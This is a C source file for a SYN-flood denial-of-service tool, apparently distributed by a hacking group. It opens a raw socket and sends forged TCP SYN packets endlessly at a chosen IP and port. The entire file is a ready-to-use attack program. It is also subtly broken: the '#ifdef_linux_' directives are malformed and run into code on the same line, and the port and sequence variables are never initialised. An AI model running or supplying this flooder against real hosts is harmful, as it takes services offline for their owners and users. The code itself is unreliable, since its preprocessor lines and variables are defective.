/*
 *                                                
 * synflood.c - description:               
 * programm: SYN-Flooder                   
 * version: 0.1                            
 * author: VIsir (visir@p0is0n.net)        
 *                                         
 * (c)Net Poison [www.p0is0n.net] Network Parasites
 *                                                
 */
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/tcp.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

int main(int argc, char *argv[])
{
	int sock;
	struct sockaddr_in sin;
	struct tcphdr tcph;
	
	if(argc != 3) {
		printf("Usage: %s <ip> <port>\n", argv[0]);
		return 0;
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(atoi(argv[2]));
	
	if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
	    perror("socket()");
	    return 0;
	}

	bzero(&tcph, sizeof(tcph));	
#ifdef_linux_	tcph.dest = sin.sin_port;
	tcph.doff = sizeof(tcph) >> 2;
	tcph.syn = 1;
	tcph.window = htons(65535);
#else
	tcph.th_dport = sin.sin_port;
	tcph.th_off = sizeof(tcph) >> 2;
	tcph.th_flags = TH_SYN;
	tcph.th_win = htons(65535);
#endif

	printf("Flooding %s:%d\n", inet_ntoa(sin.sin_addr),
						ntohs(sin.sin_port));

	while(1) {
	int sport, seq;
#ifdef_linux_		tcph.source = htons(sport);
		tcph.seq = htonl(seq);
#else
		tcph.th_sport = htons(sport);
		tcph.th_seq = htonl(seq);
#endif
		seq += 31337;
		sport -= 13572;
		if(sendto(sock, &tcph, sizeof(tcph), 0,
			    (struct sockaddr*)&sin, sizeof(sin)) == -1) {
		    perror("sendto()");
		    return 0;
		}
		printf(".");
		fflush(stdout);
	}
	close(sock);
}